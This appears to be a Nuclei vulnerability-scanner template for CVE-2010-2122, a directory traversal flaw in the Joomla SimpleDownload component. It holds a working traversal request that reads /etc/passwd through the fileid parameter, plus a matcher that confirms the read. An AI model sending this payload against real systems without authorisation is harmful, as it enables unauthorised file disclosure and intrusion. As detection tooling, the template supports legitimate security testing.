id: CVE-2010-2122

info:
  name: Joomla! Component simpledownload <=0.9.5 - Arbitrary File Retrieval
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the SimpleDownload (com_simpledownload) component before 0.9.6 for Joomla! allows remote attackers to retrieve arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can retrieve arbitrary files from the server, potentially leading to unauthorized access or sensitive data exposure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12623
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2122
    - https://www.exploit-db.com/exploits/12618
    - http://extensions.joomla.org/extensions/directory-a-documentation/downloads/10717
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58625
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-2122
    cwe-id: CWE-22
    epss-score: 0.03438
    epss-percentile: 0.87653
    cpe: cpe:2.3:a:joelrowley:com_simpledownload:0.9.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joelrowley
    product: com_simpledownload
  tags: cve2010,cve,joomla,lfi,edb,joelrowley,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_simpledownload&task=download&fileid=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220686532f7c1fa12a7470ceec636477885e8904fc09a0da8287e7daebd6c6eb47502205719dc2cbc3365531d2132428a5cecc23c77a120724feaf770ddebce2e4af9cf:922c64590222798bb761d5b6d8e72950